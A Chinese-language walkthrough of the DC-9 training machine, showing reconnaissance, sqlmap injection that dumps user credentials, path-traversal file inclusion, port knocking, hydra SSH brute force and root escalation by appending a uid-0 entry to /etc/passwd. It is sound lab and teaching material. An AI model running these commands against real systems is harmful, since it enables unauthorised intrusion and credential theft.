getwebshell
: 发现SQL
注入 → 登录系统 → 疑似文件包含
→ FUZZ
参数 → 文件包含读取守护程序 → 敲击打开SSH
端口 → 利用泄露账号密码登录
提 权 思 路
: 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo
文件发现 → 存在root
权限写入功能 → passwd
覆盖提权
192.168.45.192
192.168.178.209
sudo nmap --min-rate 10000 -p- 192.168.178.209
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。
在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
访问 http://192.168.178.209:80
看上去像CMS
随便戳了戳发现是php
的
┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# whatweb http://192.168.178.209
http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]
searchsploit Staff Details
searchsploit Example.com
# 利用html2text转换纯文本方便查看
curl http://192.168.178.209 | html2text
让我们点击其他菜单,可能是提示
dirsearch -u http://192.168.178.209 -x 302,403,404
因为扫出了目录,深层次的扫描待选,后期可能会选择.php
的后缀扫描
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典后缀)
空白
然后还有一个我可以点击的search
之前信息收集的内容还可以深入,不过都待定
首先挂上一个扫描器
nikto -h http://192.168.178.209
回过头来看发现没什么
在登录端点来一手弱口令,以及万能密码发现都没用
接下来尝试来到搜索功能点,尝试输入一个'
破坏完整性
因为搜索功能点大致会并入查询语句
因为sql
语句的不同,体现方法也是不一样滴
先试试正常的语句
但是Julie'
就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe
显示了内容
在传参的地方打上*
# 基础探测
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"
# 发现存在之后直接爆数据库
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs
# 爆出数据库之后爆表(首页的关键词Staff,先看这个)
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables
# 爆字段名
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns
# 爆字段中数据
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump
基础探测存在
存在三个数据库,首页的关键词Staff
,先看这个,选择第二个
admin
| 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5
加密的格式,因为有32
位
之后我们看看另一个表,表名也挺诱惑人的
# 爆出数据库之后爆表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables
# 爆字段名
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns
# 爆整个表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails
只有一个表UserDetails
# 将密码输出到文件
echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash
hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt
发现没爆破出来,尝试在线解密
挺难受的,爆破不出来,解密出来的密码transorbital1
利用获得的账号以及密码登录之后发现多了一个功能点
登录之后发现一个奇怪的地方,登陆前底下是没有的
File does not exist >> 文件不存在
推测该功能点的php
可以尝试fuzz
参数
# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt
没有爆破处内容捏
修改一下fuff
PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie
之后curl
就有值了
# -b 带cookie
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt
从文件夹里面找到一个不一样的size
这样太不优雅了
┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2
* FUZZ: framework
[Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]
| URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd
* FUZZ: file
利用grep
去掉1757并且筛选最后存在的上下各两行找到了file
联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态
一般利用方式是包含log
的内容写shell
尝试翻阅一下是否有log
日志
/var/log/auth.log # ssh登录日志
/var/log/apache2/access.log # apache访问日志
查看了一下,好像都没有捏
因为存在过滤端口,从这个角度切入
../../../../../etc/knockd.conf
[options] UseSyslog
[openSSH] sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH] sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
如果我们按照要求依次访问7469,8475,9842
三个端口在25秒内,那么利用端口敲击守护程序ssh
端口就会打开
利用工具knock
sudo apt install knockd
knock 192.168.178.209 7469 8475 9842
之后访问发现ssh
端口开放了
根据数据库爆出来的内容制作user.txt
以及passwd.txt
字典
echo 'marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2' > user.txt
echo '3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0' > passwd.txt
# -L 指定账号字典 -P指定密码字典
hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main
查看了对应的main
文件看到了3个可用
[22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee
获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)
sudo ssh chandlerb@192.168.208.209 -p22
password > UrAG0D!
sudo ssh joeyt@192.168.208.209 -p22
password > Passw0rd
sudo ssh janitor@192.168.208.209 -p22
password > Ilovepeepee
但是发现输入find
都没什么用,尝试查找内部的敏感信息
在janitor
用户下发现了不一样的东西
echo 'BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts' > passwd2.txt
# -L 指定账号字典 -P指定密码字典
hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main
通过爆破得到了新的用户密码
[22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001
进行ssh
连接
sudo ssh fredf@192.168.208.209 -p22
password > B4-Tru3-001
输入find
命令之后发现只有fredf
是可以的
fredf<span>@dc-9</span>:~$ find / -name local.txt 2>/dev/null
/home/fredf/local.txt
fredf<span>@dc-9</span>:~$ cat /home/fredf/local.txt
4c30c90388a4b5baa8bf21db8529bb51
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
fredf<span>@dc-9</span>:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
只有fredf
用户是存在sudo
追踪一下这个文件
# 权限查看 (读与执行)
fredf<span>@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test
# 查看内容发现看不了
fredf<span>@dc-9</span>:~$ cat /opt/devstuff/dist/test/test
fredf<span>@dc-9</span>:$ cd /opt/devstuff/dist/test
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test
Usage: python test.py read append
读不了,显示是读test.py
,说明使用test
应该是需要参数的
# 全局搜索
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
发现了两个,应该是上面那个
cat /opt/devstuff/test.py
如果传递的参数不等于3,就会输出Usage: python test.py read append
不然会读取输入第一个参数内的文件追加写入到第二个参数
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
既然是这样的话,那我可以自己写一个root
权限的用户进行追加覆盖
覆盖掉root的密码
# Kali机器使用openssl生成密码 -l指定生成密码
┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# sudo openssl passwd
Password: YaoRuo
Verifying - Password: YaoRuo
$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.
目标机器上覆盖
# 制作root权限用户 root:x:0:0:root:/root:/bin/bash
YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash
# 写入到可写文件夹中
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' > /tmp/passwd.txt
# 进行覆盖
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd
# 权限提升
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo
Password: RaoYuo
root<span>@dc-9</span>:/opt/devstuff/dist/test# id
uid=0(root) gid=0(root) groups=0(root)
提权成功
root<span>@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt
e67eaee361edc9e35fc8cfe0b1ea7bd7
完结撒花~
filtered
过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf
传参进行fuzz
的时候还是要多试,顺便一提的是登录要记得带上cookie
这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。
端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。
“服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为
除了使用直接利用本地安装的knockd
工具之外也可以用其他方法进行端口敲击,就是有时间限制。
例如 nmap -p[端口] [ip]
nc [ip] [端口]